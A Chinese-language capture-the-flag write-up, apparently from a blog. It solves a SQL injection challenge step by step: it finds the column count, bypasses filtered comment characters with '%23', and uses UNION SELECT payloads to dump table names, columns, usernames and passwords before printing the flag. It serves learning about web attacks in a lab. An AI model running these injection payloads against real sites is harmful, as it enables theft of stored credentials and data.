打开网页后,利用hackbar,先来查询他的列数 1‘ order by 3#
![](https://img-blog.csdnimg.cn/db1f74515ee343448945ebffd9badd03.png)
试了1,2,3,4都不行,初步判断#是被后端代码过滤掉了,我们试试--+,和#的效果是一样的
![](https://img-blog.csdnimg.cn/2eb46523036748feac95c5836db27e7b.png)
但是当我尝试使用--+后发现仍然没有反应,说明后端代码也过滤掉了--+,我们采用另外一种方式,使用%23
![](https://img-blog.csdnimg.cn/20669135adb341e78270e91ab189a2bc.png)
当我把3改为4时,出现了,说明列数为3,接下来好办了,老套路
![](https://img-blog.csdnimg.cn/03c7aeb29bc94034a70a471875e25622.png)
使用联合查询:1’ union select 1,2,3 %23
![](https://img-blog.csdnimg.cn/b613fc84a0c447e59384f41cd15df593.png)
2,3有回显,说明2,3存在注入点
找数据库
?username=111&password=1' union select 1,database(),3%23
![](https://img-blog.csdnimg.cn/76517624902b45a69bc0804dada0f3c1.png)
找表:?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=123
![](https://img-blog.csdnimg.cn/2a7edec9c9124f4cb2d9df093dd980e1.png)
找字段名:?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=123
最后一步,查找flag:?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=123
![](https://img-blog.csdnimg.cn/755d12c4caeb4f5f8b91ef7a2cfb01dc.png)
flag{ffca586a-1613-4ebe-8d3b-63eae7e2e574}